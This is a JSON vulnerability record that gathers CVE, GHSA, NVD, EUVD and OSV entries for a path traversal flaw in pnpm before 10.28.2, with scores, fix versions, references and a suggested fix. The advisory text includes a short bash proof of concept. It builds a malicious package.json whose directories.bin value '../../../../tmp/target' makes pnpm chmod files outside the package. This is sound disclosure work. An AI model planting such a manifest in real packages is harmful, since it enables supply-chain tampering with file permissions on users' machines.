{"id":"CVE-2026-24131","aliases":["ALPINE-CVE-2026-24131","EUVD-2026-4653","GHSA-v253-rj99-jwpq"],"status":"published","title":"pnpm has Path Traversal via arbitrary file permission modification","description":"pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.","severity":{"version":"4.0","score":6.7,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00271,"percentile":0.19537,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-732"],"published":"2026-01-26T21:29:58Z","modified":"2026-11-03T06:33:01Z","fixes":[{"ecosystem":"npm","package":"pnpm","fixed_in":["10.28.2"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"pnpm","fixed_in":["10.33.4-r0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.28.2"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.33.4-r0"}]}]},{"source":"osv","ecosystem":"npm","package":"pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.28.2"}]}]}],"products":[{"vendor":"pnpm","product":"pnpm"}],"references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.2","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-v253-rj99-jwpq"},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-24131","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24131.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24131","tags":["advisory"]},{"url":"https://github.com/pnpm/pnpm","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-24131","title":"pnpm has Path Traversal via arbitrary file permission modification","description":"pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.","status":"published","published":"2026-01-26T22:03:33.808Z","modified":"2026-01-27T21:37:51.868Z","cvss":[{"version":"4.0","score":6.7,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22","CWE-732"],"updated_at":"2026-11-02T14:19:50.92611Z"}],"euvd":[{"id":"EUVD-2026-4653","description":"pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.","status":"published","published":"2026-01-26T22:03:33Z","modified":"2026-01-27T21:37:51Z","cvss":[{"version":"4.0","score":6.7,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T19:48:46.818498Z"}],"ghsa":[{"id":"GHSA-v253-rj99-jwpq","title":"pnpm has Path Traversal via arbitrary file permission modification ","description":"### Summary\nWhen pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.\n\n**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).\n\n### Details\nVulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION\n  const files = await findFiles(binDir)\n  // ... files outside package returned, then chmod 755'd\n}\n```\n\nThe `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.\n\n### PoC\n```bash\n# Create malicious package\nmkdir /tmp/malicious-pkg\necho '{\"name\":\"malicious\",\"version\":\"1.0.0\",\"directories\":{\"bin\":\"../../../../tmp/target\"}}' \u003e /tmp/malicious-pkg/package.json\n\n# Create sensitive file\nmkdir -p /tmp/target\necho \"secret\" \u003e /tmp/target/secret.sh\nchmod 600 /tmp/target/secret.sh  # Private\n\n# Install\npnpm add file:/tmp/malicious-pkg\n\n# Check permissions\nls -la /tmp/target/secret.sh  # Now 755 (world-readable)\n```\n\n### Impact\n- Supply-chain attack via npm packages\n- File permissions changed from 600 to 755 (world-readable)\n- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)\n\n### Suggested Fix\nAdd `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)\n  if (!isSubdir(pkgPath, binDir)) {\n    return []  // Reject paths outside package\n  }\n  // ...\n}\n```","status":"published","published":"2026-01-26T21:29:58Z","modified":"2026-01-26T21:29:59Z","cvss":[{"version":"4.0","score":6.7,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-22","CWE-732"],"updated_at":"2026-11-02T14:39:20.563096Z"}],"nvd":[{"id":"CVE-2026-24131","description":"pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.","status":"published","published":"2026-01-26T22:15:56.83Z","modified":"2026-06-17T10:22:40.88Z","cvss":[{"version":"4.0","score":6.7,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22","CWE-732"],"updated_at":"2026-11-02T14:12:04.769088Z"}],"osv":[{"id":"ALPINE-CVE-2026-24131","description":"pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.","status":"published","published":"2026-01-26T22:15:56.83Z","modified":"2026-11-03T06:33:01.80272093Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-03T07:15:53.944853Z"},{"id":"CVE-2026-24131","title":"pnpm has Path Traversal via arbitrary file permission modification","description":"pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.","status":"published","published":"2026-01-26T22:03:33.808Z","modified":"2026-10-28T02:31:14.333186739Z","cvss":[{"version":"4.0","score":6.7,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-22","CWE-732"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"GHSA-v253-rj99-jwpq","title":"pnpm has Path Traversal via arbitrary file permission modification ","description":"### Summary\nWhen pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.\n\n**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).\n\n### Details\nVulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION\n  const files = await findFiles(binDir)\n  // ... files outside package returned, then chmod 755'd\n}\n```\n\nThe `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.\n\n### PoC\n```bash\n# Create malicious package\nmkdir /tmp/malicious-pkg\necho '{\"name\":\"malicious\",\"version\":\"1.0.0\",\"directories\":{\"bin\":\"../../../../tmp/target\"}}' \u003e /tmp/malicious-pkg/package.json\n\n# Create sensitive file\nmkdir -p /tmp/target\necho \"secret\" \u003e /tmp/target/secret.sh\nchmod 600 /tmp/target/secret.sh  # Private\n\n# Install\npnpm add file:/tmp/malicious-pkg\n\n# Check permissions\nls -la /tmp/target/secret.sh  # Now 755 (world-readable)\n```\n\n### Impact\n- Supply-chain attack via npm packages\n- File permissions changed from 600 to 755 (world-readable)\n- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)\n\n### Suggested Fix\nAdd `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)\n  if (!isSubdir(pkgPath, binDir)) {\n    return []  // Reject paths outside package\n  }\n  // ...\n}\n```","status":"published","published":"2026-01-26T21:29:58Z","modified":"2026-02-03T03:07:47.088542Z","cvss":[{"version":"4.0","score":6.7,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-22","CWE-732"],"updated_at":"2026-11-02T15:46:56.639206Z"}]}}